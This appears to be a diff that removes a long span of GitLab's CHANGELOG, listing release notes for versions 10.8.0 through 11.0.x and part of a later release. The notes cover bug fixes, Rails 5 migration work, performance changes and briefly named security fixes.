-- [Rails5] Invalid single-table inheritance type: Group is not a subclass of Namespace. !19918 (@blackst0ne)
-- [Rails5] Fix pipeline_schedules_controller_spec. !19919 (@blackst0ne)
-- Rails5 fix passing Group objects array into for_projects_and_groups milestone scope. !19920 (Jasper Maes)
-- Rails5 update Gemfile.rails5.lock. !19921 (Jasper Maes)
-- [Rails5] Fix sessions_controller_spec. !19936 (@blackst0ne)
-- [Rails5] Set request.format for artifacts_controller. !19937 (@blackst0ne)
-- Fix webhook error when password is not present. !19945 (Jan Beckmann)
-- Fix label and milestone duplicated records and IID errors. !19961
-- Rails5 fix expected: 1 time with arguments: (97, anything, {"squash"=>false}) received: 0 times. !20004 (Jasper Maes)
-- Rails5 fix Projects::PagesController spec. !20007 (Jasper Maes)
-- [Rails5] Fix ActionCable '/cable' mountpoint conflict. !20015 (@blackst0ne)
-- Fix branches are not shown in Merge Request dropdown when preferred language is not English. !20016 (Hiroyuki Sato)
-- Rails5 fix Admin::HooksController. !20017 (Jasper Maes)
-- Rails5 fix expected: 0 times with any arguments received: 1 time with arguments: DashboardController. !20018 (Jasper Maes)
-- [Rails5] Set request.format in commits_controller. !20023 (@blackst0ne)
-- Keeps the label on an issue when the issue is moved. !20036
-- Cleanup Prometheus ruby metrics. !20039 (Ben Kochie)
-- Rails 5 fix Capybara::ElementNotFound: Unable to find visible css #modal-revert-commit and expected: "/bar" got: "/foo". !20044 (Jasper Maes)
-- [Rails5] Force the callback run first. !20055 (@blackst0ne)
-- Add readme button to non-empty project page. !20104
-- Fixed bug when editing a comment in an issue,the preview mode is toggled in the main textarea. !20112 (Constance Okoghenun)
-- Ignore unknown OAuth sources in ApplicationSetting. !20129
-- Fix paragraph line height for emoji. !20137 (George Tsiolis)
-- Fixes issue with uploading same image to Profile Avatar twice. !20161 (Chirag Bhatia)
-- Rails5 fix arel from in mysql_median_datetime_sql. !20167 (Jasper Maes)
-- Adds the `locked` state to the merge request API so that it can be used as a search filter. !20186
-- Enable Doorkeeper option to avoid generating new tokens when users login via oauth. !20200
-- Fix OAuth Application Authorization screen to appear with each access. !20216
-- Rails5 fix MySQL milliseconds problem in specs. !20221 (Jasper Maes)
-- Rails5 fix Mysql comparison failure caused by milliseconds problem. !20222 (Jasper Maes)
-- Updated last commit link color. !20234 (Constance Okoghenun)
-- Fixed Merge request changes dropdown displays incorrectly. !20237 (Constance Okoghenun)
-- Show jobs from same pipeline in sidebar in job details view. !20243
-- [Rails5] Fix milestone GROUP BY query. !20256 (@blackst0ne)
-- Line separator to the left of the 'Admin area' wrench icon had vanished. !20282 (bitsapien)
-- Check if archived trace exist before archive it. !20297
-- Load Devise with Omniauth when auto_sign_in_with_provider is configured. !20302
-- Fix link to job when creating a new issue from a failed job. !20328
-- Fix double "in" in time to artifact deletion message. !20357 (@bbodenmiller)
-- Fix wrong role badge displayed in projects dashboard. !20374
-- Stop relying on migrations in the CacheableAttributes cache key and cache attributes for 1 minute instead. !20389
-- Fixes toggle discussion button not expanding collapsed discussions. !20452
-- Resolve compatibility issues with node 6. !20461
-- Fixes base command used in Helm installations. !20471
-- Fix RSS button interaction on Dashboard, Project and Group activities. !20549
-- Use appropriate timeout on Gitaly server info checks, avoid error on timeout. !20552
-- Remove healthchecks from prometheus endpoint. !20565
-- Render MR page when diffs cannot be fetched from the database or the git repository. !20680
-- Expire correct method caches after HEAD changed.
-- Ensure MR diffs always exist in the PR importer.
-- Fix overlapping file title and file actions in MR changes tag.
-- Mark MR as merged regardless of errors when closing issues.
-- Fix performance bar modal visibility in Safari.
-- Prevent browser autocomplete for milestone date fields.
-- Limit the action suffixes in transaction metrics.
-- Add /uploads subdirectory to allowed upload paths.
-- Fix cross-project label references.
-- Invalidate merge request diffs cache if diff data change.
-- Don't show context button for diffs of deleted files.
-- Structure getters for diff Store properly and adds specs.
-- Bump rugged to 0.27.2.
-- Fix Bamboo CI status not showing for branch plans.
-- Fixed bug that allowed to remove other wiki pages if the title had wildcard characters.
-- Disabled Web IDE autocomplete suggestions for Markdown files. (Isaac Smith)
-- Fix merge request diffs when created with gitaly_diff_between enabled.
-- Properly detect label reference if followed by period or question mark.
-- Deactivate new KubernetesService created from active template to prevent project creation from failing.
-- Allow trailing whitespace on blockquote fence lines.
-
-### Deprecated (1 change)
-
-- Removes unused bootstrap 4 scss files. !19423
-
-### Changed (33 changes, 16 of them are from the community)
-
-- Change label link vertical alignment property. !18777 (George Tsiolis)
-- Updated the icon for expand buttons to ellipsis. !18793 (Constance Okoghenun)
-- Create new or add existing Kubernetes cluster from a single page. !18963
-- Use object storage as the first class persistable store for new live trace architecture. !19515
-- Hide project name if searching against a project. !19595
-- Allows you to create another deploy token dimmediately after creating one. !19639
-- Removes the environment scope field for users that cannot edit it. !19643
-- Don't hash user ID in OIDC subject claim. !19784 (Markus Koller)
-- Milestone page list redesign. !19832 (Constance Okoghenun)
-- Add environment dropdown for the metrics page. !19833
-- Allow querying a single merge request within a project. !19853
-- Update WebIDE to show file in tree on load. !19887
-- Remove small container width. !19893 (George Tsiolis)
-- Improve U2F workflow when using unsupported browsers. !19938 (Jan Beckmann)
-- Update Web IDE file tree styles. !19969
-- Highlight cluster settings message. !19996 (George Tsiolis)
-- Fade uneditable area in Web IDE. !20008
-- Update pipeline icon in web ide sidebar. !20058 (George Tsiolis)
-- Revert merge request discussion buttons padding. !20060 (George Tsiolis)
-- Fix boards issue highlight. !20063 (George Tsiolis)
-- Update external link icon in header user dropdown. !20150 (George Tsiolis)
-- Update external link icon in merge request widget. !20154 (George Tsiolis)
-- Update environments nav controls icons. !20199 (George Tsiolis)
-- Update integrations external link icons. !20205 (George Tsiolis)
-- Fixes an issue where migrations instead of schema loading were run. !20227
-- Add title placeholder for new issues. !20271 (George Tsiolis)
-- Close revoke deploy token modal on escape keypress. !20347 (George Tsiolis)
-- Change environment scope text depending on number of project clusters. Update form to only include form-groups.
-- Improve Web IDE commit flow.
-- Add machine type and pricing documentation links, add class to labels to make bold.
-- Remove remaining traces of the Allocations Gem.
-- Use one column form layout on Admin Area Settings page.
-- Add back copy for existing gcp accounts within offer banner.
-
-### Performance (16 changes, 4 of them are from the community)
-
-- Fully migrate pipeline stages position. !19369
-- Use Tooltip component in MrWidgetAuthorTime vue comonent. !19635 (George Tsiolis)
-- Move boards modal EmptyState vue component. !20068 (George Tsiolis)
-- Bump carrierwave gem verion to 1.2.3. !20287
-- Remove redundant query when removing trace. !20324
-- Improves performance of mr code, by fixing the state being mutated outside of the store in the util function trimFirstCharOfLineContent and in map operations. Avoids map operation in an empty array. Adds specs to the trimFirstCharOfLineContent function. !20380 (filipa)
-- Reduce the number of queries when searching for groups. !20398
-- Improve render performance of large wiki pages. !20465 (Peter Leitzen)
-- Improves performance on Merge Request diff tab by removing the scroll event listeners being added to every file.
-- Remove the ci_job_request_with_tags_matcher.
-- Updated Gitaly fail-fast timeout values.
-- Add index on deployable_type/id for deployments.
-- Eliminate N+1 queries in LFS file locks checks during a push.
-- Fix performance problem of accessing tag list for projects api endpoints.
-- Improve performance of listing users without projects.
-- Fixed pagination of web hook logs.
-
-### Added (29 changes, 9 of them are from the community)
-
-- Add dropdown to Groups link in top bar. !18280
-- Web IDE supports now Image + Download Diff Viewing. !18768
-- Use CommonMark syntax and rendering for new Markdown content. !19331
-- Add SHA256 and HEAD on File API. !19439 (ahmet2mir)
-- Add filename filtering to code search. !19509
-- Add CI_PIPELINE_URL and CI_JOB_URL. !19618
-- Expose visibility via Snippets API. !19620 (Jan Beckmann)
-- Fixed pagination of groups API. !19665 (Marko, Peter)
-- Added id sorting option to GET groups and subgroups API. !19665 (Marko, Peter)
-- Add a link to the contributing page in the user dropdown. !19708
-- Add Object Storage to project export. !20105
-- Change avatar image in the header when user updates their avatar. !20119 (Jamie Schembri)
-- Allow straight diff in Compare API. !20120 (Maciej Nowak)
-- Add transfer project API endpoint. !20122 (Aram Visser)
-- Expose permissions of the current user on resources in GraphQL. !20152
-- Run repository checks in parallel for each shard. !20179
-- Add pipeline lists to GraphQL. !20249
-- Add option to add README when creating a project. !20335
-- Add option to hide third party offers in admin application settings. !20379
-- Add /confidential quick action. (Jan Beckmann)
-- Support direct_upload for generic uploads.
-- Display merge request title & description in Web IDE.
-- Prune web hook logs older than 90 days.
-- Add Web Terminal for Ci Builds. (Vicky Chijwani)
-- Expose whether current user can push into a branch on branches API.
-- Present state indication on GFM preview.
-- migrate backup rake task to gitaly.
-- Add Gitlab::SQL:CTE for easily building CTE statements.
-- Added with_statsoption for GET /projects/:id/repository/commits.
-
-### Other (28 changes, 11 of them are from the community)
-
-- Move some Gitaly RPC's to opt-out. !19591
-- Bump grape-path-helpers to 1.0.5. !19604 (@blackst0ne)
-- Add CI job to check Gemfile.rails5.lock. !19605 (@blackst0ne)
-- Move Gitaly branch/tag/ref RPC's to opt-out. !19644
-- CE port gitlab-ee!6112. !19714
-- Enable no-multi-assignment in JS files. !19808 (gfyoung)
-- Enable no-restricted globals in JS files. !19877 (gfyoung)
-- Improve no-multi-assignment fixes after enabling rule. !19915 (gfyoung)
-- Enable prefer-structuring in JS files. !19943 (gfyoung)
-- Enable frozen string in app/workers/*.rb. !19944 (gfyoung)
-- Uses long sha version of the merged commit in MR widget copy to clipboard button. !19955
-- Update new group page to better explain what groups are. !19991
-- Update new SSH key page to improve copy. !19994
-- Update new SSH key page to improve key input validation. !19997
-- Gitaly metrics check for read/writeability. !20022
-- Add ellispsis to web ide commit button. !20030
-- Minor style changes to personal access token form and scope checkboxes. !20052
-- Finish enabling frozen string for app/workers/*.rb. !20197 (gfyoung)
-- Allows settings sections to expand by default when linking to them. !20211
-- Enable frozen string in apps/validators/*.rb. !20220 (gfyoung)
-- update bcrypt to also support libxcrypt. !20260 (muhammadn)
-- Enable frozen string in apps/validators/*.rb. !20382 (gfyoung)
-- Removes unused vuex code in mr refactor and removes unneeded dependencies. !20499
-- Delete non-latest merge request diff files upon merge.
-- Schedule workers to delete non-latest diffs in post-migration.
-- Remove the use of `is_shared` of `Ci::Runner`.
-- Add more detailed logging to githost.log when rebasing.
-- Use monospaced font for MR diff commit link ref on GFM.
-
-
-## 11.0.6 (2018-08-27)
-
-### Security (3 changes)
-
-- Fixed persistent XSS rendering/escaping of diff location lines.
-- Adding CSRF protection to Hooks resend action.
-- Block link-local addresses in URLBlocker.
-
-### Fixed (1 change, 1 of them is from the community)
-
-- Sanitize git URL in import errors. (Jamie Schembri)
-
-
-## 11.0.5 (2018-07-26)
-
-### Security (4 changes)
-
-- Don't expose project names in various counters.
-- Don't expose project names in GitHub counters.
-- Adding CSRF protection to Hooks test action.
-- Fixed XSS in branch name in Web IDE.
-
-### Fixed (1 change)
-
-- Escapes milestone and label's names on flash notice when promoting them.
-
-
-## 11.0.4 (2018-07-17)
-
-### Security (1 change)
-
-- Fix symlink vulnerability in project import.
-
-
-## 11.0.3 (2018-07-05)
-
-### Fixed (14 changes, 1 of them is from the community)
-
-- Revert merge request widget button max height. !20175 (George Tsiolis)
-- Implement upload copy when moving an issue with upload on object storage. !20191
-- Fix broken '!' support to autocomplete MRs in GFM fields. !20204
-- Restore showing Elasticsearch and Geo status on dashboard. !20276
-- Fix merge request page rendering error when its target/source branch is missing. !20280
-- Fix sidebar collapse breapoints for job and wiki pages.
-- fix size of code blocks in headings.
-- Fix loading screen for search autocomplete dropdown.
-- Fix ambiguous due_date column for Issue scopes.
-- Always serve favicon from main GitLab domain so that CI badge can be drawn over it.
-- Fix tooltip flickering bug.
-- Fix refreshing cache keys for open issues count.
-- Replace deprecated bs.affix in merge request tabs with sticky polyfill.
-- Prevent pipeline job tooltip from scrolling off dropdown container.
-
-
-## 11.0.2 (2018-06-26)
-
-### Fixed (8 changes, 1 of them is from the community)
-
-- Serve favicon image always from the main GitLab domain to avoid issues with CORS. !19810 (Alexis Reigel)
-- Specify chart version when installing applications on Clusters. !20010
-- Fix invalid fuzzy translations being generated during installation. !20048
-- Fix incremental rollouts for Auto DevOps. !20061
-- Notify conflict for only open merge request. !20125
-- Only load Omniauth if enabled. !20132
-- Fix sorting by name on explore projects page. !20162
-- Fix alert button styling so that they don't show up white.
-
-### Performance (1 change)
-
-- Remove performance bottleneck preventing large wiki pages from displaying. !20174
-
-### Added (1 change)
-
-- Add support for verifying remote uploads, artifacts, and LFS objects in check rake tasks. !19501
-
-
-## 11.0.1 (2018-06-21)
-
-### Security (5 changes)
-
-- Fix XSS vulnerability for table of content generation.
-- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
-- HTML escape branch name in project graphs page.
-- HTML escape the name of the user in ProjectsHelper#link_to_member.
-- Don't show events from internal projects for anonymous users in public feed.
-
-
-## 11.0.0 (2018-06-22)
-
-### Security (3 changes)
-
-- Fix API to remove deploy key from project instead of deleting it entirely.
-- Fixed bug that allowed importing arbitrary project attributes.
-- Prevent user passwords from being changed without providing the previous password.
-
-### Removed (2 changes)
-
-- Removed API v3 from the codebase. !18970
-- Removes outdated `g t` shortcut for TODO in favor of `Shift+T`. !19002
-
-### Fixed (69 changes, 23 of them are from the community)
-
-- Optimize the upload migration process. !15947
-- Import bitbucket issues that are reported by an anonymous user. !18199 (bartl)
-- Fix an issue where the notification email address would be set to an unconfirmed email address. !18474
-- Stop logging email information when emails are disabled. !18521 (Marc Shaw)
-- Fix double-brackets being linkified in wiki markdown. !18524 (brewingcode)
-- Use case in-sensitive ordering by name for dashboard. !18553 (@vedharish)
-- Fix width of contributors graphs. !18639 (Paul Vorbach)
-- Fix modal width of shorcuts help page. !18766 (Lars Greiss)
-- Add missing tooltip to creation date on container registry overview. !18767 (Lars Greiss)
-- Add missing migration for minimal Project build_timeout. !18775
-- Update commit status from external CI services less aggressively. !18802
-- Fix Runner contacted at tooltip cache. !18810
-- Added support for LFS Download in the importing process. !18871
-- Fix issue board bug with long strings in titles. !18924
-- Does not log failed sign-in attempts when the database is in read-only mode. !18957
-- Fixes 500 error on /estimate BIG_VALUE. !18964 (Jacopo Beschi @jacopo-beschi)
-- Forbid to patch traces for finished jobs. !18969
-- Do not allow to trigger manual actions that were skipped. !18985
-- Renamed 'Overview' to 'Project' in collapsed contextual navigation at a project level. !18996 (Constance Okoghenun)
-- Fixed bug where generated api urls didn't add the base url if set. !19003
-- Fixed badge api endpoint route when relative url is set. !19004
-- Fixes: Runners search input placeholder is cut off. !19015 (Jacopo Beschi @jacopo-beschi)
-- Exclude CI_PIPELINE_ID from variables supported in dynamic environment name. !19032
-- Updates updated_at on label changes. !19065 (Jacopo Beschi @jacopo-beschi)
-- Disallow updating job status if the job is not running. !19101
-- Fix FreeBSD can not upload artifacts due to wrong tmp path. !19148
-- Check for nil AutoDevOps when saving project CI/CD settings. !19190
-- Missing timeout value in object storage pre-authorization. !19201
-- Use strings as properties key in kubernetes service spec. !19265 (Jasper Maes)
-- Fixed HTTP_PROXY environment not honored when reading remote traces. !19282 (NLR)
-- Updates ReactiveCaching clear_reactive_caching method to clear both data and alive caching. !19311
-- Fixes the styling on the modal headers. !19312 (samdbeckham)
-- Fixes a spelling error on the new label page. !19316 (samdbeckham)
-- Rails5 fix arel from. !19340 (Jasper Maes)
-- Support rails5 in postgres indexes function and fix some migrations. !19400 (Jasper Maes)
-- Fix repository archive generation when hashed storage is enabled. !19441
-- Rails 5 fix unknown keywords: changes, key_id, project, gl_repository, action, secret_token, protocol. !19466 (Jasper Maes)
-- Rails 5 fix glob spec. !19469 (Jasper Maes)
-- Showing project import_status in a humanized form no longer gives an error. !19470
-- Make avatars/icons hidden on mobile. !19585 (Takuya Noguchi)
-- Fix active tab highlight when creating new merge request. !19781 (Jan Beckmann)
-- Fixes Web IDE button on merge requests when GitLab is installed with relative URL.
-- Unverified hover state color changed to black.
-- Fix &nbsp; after sign-in with Google button.
-- Don't trim incoming emails that create new issues. (Cameron Crockett)
-- Wrapping problem on the issues page has been fixed.
-- Fix resolvable check if note's commit could not be found.
-- Fix filename matching when processing file or blob search results.
-- Allow maintainers to retry pipelines on forked projects (if allowed in merge request).
-- Fix deletion of Object Store uploads.
-- Fix overflowing Failed Jobs table in sm viewports on IE11.
-- Adjust insufficient diff hunks being persisted on NoteDiffFile.
-- Render calendar feed inline when accessed from GitLab.
-- Line height fixed. (Murat Dogan)
-- Use upload ID for creating lease key for file uploaders.
-- Use Github repo visibility during import while respecting restricted visibility levels.
-- Adjust permitted params filtering on merge scheduling.
-- Fix unscrollable Markdown preview of WebIDE on Firefox.
-- Enforce UTF-8 encoding on user input in LogrageWithTimestamp formatter and filter out file content from logs.
-- Fix project destruction failing due to idle in transaction timeouts.
-- Add a unique and not null constraint on the project_features.project_id column.
-- Expire Wiki content cache after importing a repository.
-- Fix admin counters not working when PostgreSQL has secondaries.
-- Fix backup creation and restore for specific Rake tasks.
-- Fix cross-origin errors when attempting to download JavaScript attachments.
-- Fix api_json.log not always reporting the right HTTP status code.
-- Fix attr_encryption key settings.
-- Remove gray button styles.
-- Fix print styles for markdown pages.
-
-### Deprecated (4 changes)
-
-- Deprecate Gemnasium project service. !18954
-- Rephrasing Merge Request's 'allow edits from maintainer' functionality. !19061
-- Rename issue scope created-by-me to created_by_me, and assigned-to-me to assigned_to_me. !44799
-- Migrate any remaining jobs from deprecated `object_storage_upload` queue.
-
-### Changed (42 changes, 11 of them are from the community)
-
-- Add support for smarter system notes. !17164
-- Automatically accepts project/group invite by email after user signup. !17634 (Jacopo Beschi @jacopo-beschi)
-- Dynamically fetch GCP cluster creation parameters. !17806
-- Label list page redesign. !18466
-- Move discussion actions to the right for small viewports. !18476 (George Tsiolis)
-- Add 2FA filter to the group members page. !18483
-- made listing and showing public issue apis available without authentication. !18638 (haseebeqx)
-- Refactoring UrlValidators to include url blocking. !18686
-- Removed "(Beta)" from "Auto DevOps" messages. !18759
-- Expose runner ip address to runners API. !18799 (Lars Greiss)
-- Moves MR widget external link icon to the right. !18828 (Jacopo Beschi @jacopo-beschi)
-- Add support for 'active' setting on Runner Registration API endpoint. !18848
-- Add dot to separate system notes content. !18864
-- Remove modalbox confirmation when retrying a pipeline. !18879
-- Remove docker pull prefix from registry clipboard feature. !18933 (Lars Greiss)
-- Move project sidebar sub-entries 'Environments' and 'Kubernetes' from 'CI/CD' to a new entry 'Operations'. !18941
-- Updated icons for branch and tag names in commit details. !18953 (Constance Okoghenun)
-- Expose readme url in Project API. !18960 (Imre Farkas)
-- Changes keyboard shortcut of Activity feed to `g v`. !19002
-- Updated Mattermost integration to use API v4 and only allow creation of Mattermost slash commands in the current user's teams. !19043 (Harrison Healey)
-- Add shortcuts to Web IDE docs and modal. !19044
-- Rename merge request widget author component. !19079 (George Tsiolis)
-- Rename the Master role to Maintainer. !19080
-- Use "right now" for short time periods. !19095
-- Update 404 and 403 pages with helpful actions. !19096
-- Add username to terms message in git and API calls. !19126
-- Change the IDE file buttons for an "Open in file view" button. !19129 (Sam Beckham)
-- Removes redundant script failure message from Job page. !19138
-- Add flash notice if user has already accepted terms and allow users to continue to root path. !19156
-- Redesign group settings page into expandable sections. !19184
-- Hashed Storage: migration rake task now can be executed to specific project. !19268
-- Make CI job update entrypoint to work as keep-alive endpoint. !19543
-- Avoid checking the user format in every url validation. !19575
-- Apply notification settings level of groups to all child objects.
-- Support restoring repositories into gitaly.
-- Bump omniauth-gitlab to 1.0.3.
-- Move API group deletion to Sidekiq.
-- Improve Failed Jobs tab in the Pipeline detail page.
-- Add additional theme color options.
-- Include milestones from parent groups when assigning a milestone to an issue or merge request.
-- Restore API v3 user endpoint.
-- Hide merge request option in IDE when disabled.
-
-### Performance (28 changes, 1 of them is from the community)
-
-- Add backgound migration for filling nullfied file_store columns. !18557
-- Add a cronworker to rescue stale live traces. !18680
-- Move SquashBeforeMerge vue component. !18813 (George Tsiolis)
-- Add index on runner_type for ci_runners. !18897
-- Fix CarrierWave reads local files into memory when migrates to ObjectStorage. !19102
-- Remove double-checked internal id generation. !19181
-- Throttle updates to Project#last_repository_updated_at. !19183
-- Add background migrations for archiving legacy job traces. !19194
-- Use NPM provided version of SortableJS. !19274
-- Improve performance of group issues filtering on GitLab.com. !19429
-- Improve performance of LFS integrity check. !19494
-- Fix an N+1 when loading user avatars.
-- Only preload member records for the relevant projects/groups/user in projects API.
-- Fix some sources of excessive query counts when calculating notification recipients.
-- Optimise PagesWorker usage.
-- Optimise paused runners to reduce amount of used requests.
-- Update runner cached informations without performing validations.
-- Improve performance of project pipelines pages.
-- Persist truncated note diffs on a new table.
-- Remove unused running_or_pending_build_count.
-- Remove N+1 query for author in issues API.
-- Eliminate N+1 queries with authors and push_data_payload in Events API.
-- Eliminate cached N+1 queries for projects in Issue API.
-- Eliminate N+1 queries for CI job artifacts in /api/prjoects/:id/pipelines/:pipeline_id/jobs.
-- Fix N+1 with source_projects in merge requests API.
-- Replace grape-route-helpers with our own grape-path-helpers.
-- Move PR IO operations out of a transaction.
-- Improve performance of GroupsController#show.
-
-### Added (25 changes, 10 of them are from the community)
-
-- Closes MR check out branch modal with escape. (19050)
-- Allow changing the default favicon to a custom icon. !14497 (Alexis Reigel)
-- Export assigned issues in iCalendar feed. !17783 (Imre Farkas)
-- When MR becomes unmergeable, notify and create todo for author and merge user. !18042
-- Display help text below auto devops domain with nip.io domain name (#45561). !18496
-- Add per-project pipeline id. !18558
-- New design for wiki page deletion confirmation. !18712 (Constance Okoghenun)
-- Updates updated_at on issuable when setting time spent. !18757 (Jacopo Beschi @jacopo-beschi)
-- Expose artifacts_expire_at field for job entity in api. !18872 (Semyon Pupkov)
-- Add support for variables expression pattern matching syntax. !18902
-- Add API endpoint to render markdown text. !18926 (@blackst0ne)
-- Add `Squash and merge` to GitLab Core (CE). !18956 (@blackst0ne)
-- Adds keyboard shortcut `g k` for Kubernetes on Project pages. !19002
-- Adds keyboard shortcut `g e` for Environments on Project pages. !19002
-- Setup graphql with initial project & merge request query. !19008
-- Adds JupyterHub to cluster applications. !19019
-- Added ability to search by wiki titles. !19112
-- Add Avatar API. !19121 (Imre Farkas)
-- Add variables to POST api/v4/projects/:id/pipeline. !19124 (Jacopo Beschi @jacopo-beschi)
-- Add deploy strategies to the Auto DevOps settings. !19172
-- Automatize Deploy Token creation for Auto Devops. !19507
-- Add anchor for incoming email regex.
-- Support direct_upload with S3 Multipart uploads.
-- Add Open in Xcode link for xcode repositories.
-- Add pipeline status to the status bar of the Web IDE.
-
-### Other (40 changes, 17 of them are from the community)
-
-- Expand documentation for Runners API. !16484
-- Order UsersController#projects.json by updated_at. !18227 (Takuya Noguchi)
-- Replace the `project/issues/references.feature` spinach test with an rspec analog. !18769 (@blackst0ne)
-- Replace the `project/merge_requests/references.feature` spinach test with an rspec analog. !18794 (@blackst0ne)
-- Replace the `project/deploy_keys.feature` spinach test with an rspec analog. !18796 (@blackst0ne)
-- Replace the `project/ff_merge_requests.feature` spinach test with an rspec analog. !18800 (@blackst0ne)
-- Apply NestingDepth (level 5) (pages/pipelines.scss). !18830 (Takuya Noguchi)
-- Replace the `project/forked_merge_requests.feature` spinach test with an rspec analog. !18867 (@blackst0ne)
-- Remove Spinach. !18869 (@blackst0ne)
-- Add NOT NULL constraints to project_authorizations. !18980
-- Add helpful messages to empty wiki view. !19007
-- Increase text limit for GPG keys (mysql only). !19069
-- Take two for MR metrics population background migration. !19097
-- Remove Gemnasium badge from project README.md. !19136 (Takuya Noguchi)
-- Update awesome_print to 1.8.0. !19163 (Takuya Noguchi)
-- Update email_spec to 2.2.0. !19164 (Takuya Noguchi)
-- Update redis-namespace to 1.6.0. !19166 (Takuya Noguchi)
-- Update rdoc to 6.0.4. !19167 (Takuya Noguchi)
-- Updates the version of kubeclient from 3.0 to 3.1.0. !19199
-- Fix UI broken in line profiling modal due to Bootstrap 4. !19253 (Takuya Noguchi)
-- Add migration to disable the usage of DSA keys. !19299
-- Use the default strings of timeago.js for timeago. !19350 (Takuya Noguchi)
-- Update selenium-webdriver to 3.12.0. !19351 (Takuya Noguchi)
-- Include username in output when testing SSH to GitLab. !19358
-- Update screenshot in GitLab.com integration documentation. !19433 (Tuğçe Nur Taş)
-- Users can accept terms during registration. !19583
-- Fix issue count on sidebar.
-- Add merge requests list endpoint for groups.
-- Upgrade GitLab from Bootstrap 3 to 4.
-- Make ActiveRecordSubscriber rails 5 compatible.
-- Show a more helpful error for import status.
-- Log response body to production_json.log when a controller responds with a 422 status.
-- Log Workhorse queue duration for Grape API calls.
-- Adjust SQL and transaction Prometheus buckets.
-- Adding branches through the WebUI is handled by Gitaly.
-- Remove shellout implementation for Repository checksums.
-- Refs containing sha checks are done by Gitaly.
-- Finding a wiki page is done by Gitaly by default.
-- Workhorse will use Gitaly to create archives.
-- Workhorse to send raw diff and patch for commits.
-
-
-## 10.8.6 (2018-07-17)
-
-### Security (2 changes)
-
-- Fix symlink vulnerability in project import.
-- Merge branch 'fix-mr-widget-border' into 'master'.
-
-
-## 10.8.5 (2018-06-21)
-
-### Security (5 changes)
-
-- Fix XSS vulnerability for table of content generation.
-- Update sanitize gem to 4.6.5 to fix HTML injection vulnerability.
-- HTML escape branch name in project graphs page.
-- HTML escape the name of the user in ProjectsHelper#link_to_member.
-- Don't show events from internal projects for anonymous users in public feed.
-
-
-## 10.8.4 (2018-06-06)
-
-- No changes.
-
-## 10.8.3 (2018-05-30)
-
-### Fixed (4 changes)
-
-- Replace Gitlab::REVISION with Gitlab.revision and handle installations without a .git directory. !19125
-- Fix encoding of branch names on compare and new merge request page. !19143
-- Fix remote mirror database inconsistencies when upgrading from EE to CE. !19196
-- Fix local storage not being cleared after creating a new issue.
-
-### Performance (1 change)
-
-- Memoize Gitlab::Database.version.
-
-
-## 10.8.2 (2018-05-28)
-
-### Security (3 changes)
-
-- Prevent user passwords from being changed without providing the previous password.
-- Fix API to remove deploy key from project instead of deleting it entirely.
-- Fixed bug that allowed importing arbitrary project attributes.
-
-
-## 10.8.1 (2018-05-23)
-
-### Fixed (9 changes)
-
-- Allow CommitStatus class to use presentable methods. !18979
-- Fix corrupted environment pages with unathorized proxy url. !18989
-- Fixes deploy token variables on Ci::Build. !19047
-- Fix project mirror database inconsistencies when upgrading from EE to CE. !19109
-- Render 404 when prometheus adapter is disabled in Prometheus metrics controller. !19110
-- Fix error when deleting an empty list of refs.
-- Fixed U2F login when used with LDAP.
-- Bump prometheus-client-mmap to 0.9.3 to fix nil exception error.
-- Fix system hook not firing for blocked users when LDAP sign-in is used.
-
-
-## 10.8.0 (2018-05-22)
-
-### Security (3 changes, 1 of them is from the community)
-
-- Update faraday_middlewar to 0.12.2. !18397 (Takuya Noguchi)
-- Serve archive requests with the correct file in all cases.
-- Sanitizes user name to avoid XSS attacks.
-
-### Fixed (47 changes, 11 of them are from the community)
-
-- Refactor CSS to eliminate vertical misalignment of login nav. !16275 (Takuya Noguchi)
-- Fix pipeline status in branch/tag tree page. !17995
-- Allow group owner to enable runners from subgroups (#41981). !18009
-- Fix template selector menu visibility when toggling preview mode in file edit view. !18118 (Fabian Schneider)
-- Fix confirmation modal for deleting a protected branch. !18176 (Paul Bonaud @PaulRbR)
-- Triggering custom hooks by Wiki UI edit. !18251
-- Now `rake cache:clear` will also clear pipeline status cache. !18257
-- Fix `joined` information on project members page. !18290 (Fabian Schneider)
-- Fix missing namespace for some internal users. !18357
-- Show shared projects on group page. !18390
-- Restore label underline color. !18407 (George Tsiolis)
-- Fix undefined `html_escape` method during markdown rendering. !18418
-- Fix unassign slash command preview. !18447
-- Correct text and functionality for delete user / delete user and contributions modal. !18463 (Marc Schwede)
-- Fix discussions API setting created_at for notable in a group or notable in a project in a group with owners. !18464
-- Don't include lfs_file_locks data in export bundle. !18495
-- Reset milestone filter when clicking "Any Milestone" in dashboard. !18531
-- Ensure member notifications are sent after the member actual creation/update in the DB. !18538
-- Update links to /ci/lint with ones to project ci/lint. !18539 (Takuya Noguchi)
-- Fix tabs container styles to make RSS button clickable. !18559
-- Raise NoRepository error for non-valid repositories when calculating repository checksum. !18594
-- Don't automatically remove artifacts for pages jobs after pages:deploy has run. !18628
-- Increase new issue metadata form margin. !18630 (George Tsiolis)
-- Add loading icon padding for pipeline environments. !18631 (George Tsiolis)
-- ShaAttribute no longer stops startup if database is missing. !18726
-- Fix close keyboard shortcuts dialog using the keyboard shortcut. !18783 (Lars Greiss)
-- Fixes database inconsistencies between Community and Enterprise Edition on import state. !18811
-- Add database foreign key constraint between pipelines and build. !18822
-- Fix finding wiki pages when they have invalidly-encoded content. !18856
-- Fix outdated Web IDE welcome copy. !18861
-- fixed copy to blipboard button in embed bar of snippets. !18923 (haseebeqx)
-- Disables RBAC on nginx-ingress. !18947
-- Correct skewed Kubernetes popover illustration. !18949
-- Resolve Import/Export ci_cd_settings error updating the project. !46049
-- Fix project creation for user endpoint when jobs_enabled parameter supplied.
-- 46210 Display logo and user dropdown on mobile for terms page and fix styling.
-- Adds illustration for when job log was erased.
-- Ensure web hook 'blocked URL' errors are stored in web hook logs and properly surfaced to the user.
-- Make toggle markdown preview shortcut only toggle selected field.
-- Verifiy if pipeline has commit idetails and render information in MR widget when branch is deleted.
-- Fixed inconsistent protected branch pill baseline.
-- Fix setting GitLab metrics content types.
-- Display only generic message on merge error to avoid exposing any potentially sensitive or user unfriendly backend messages.
-- Fix label links update on project transfer.
-- Breaks commit not found message in pipelines table.
-- Adjust issue boards list header label text color.
-- Prevent pipeline actions in dropdown to redirct to a new page.
-
-### Changed (35 changes, 15 of them are from the community)
-
-- Improve tooltips in collapsed right sidebar. !17714
-- Partition job_queue_duration_seconds with jobs_running_for_project. !17730
-- For group dashboard, we no longer show groups which the visitor is not a member of (this applies to admins and auditors). !17884 (Roger Rüttimann)
-- Use RFC 3676 mail signature delimiters. !17979 (Enrico Scholz)
-- Add sha filter to pipelines list API. !18125
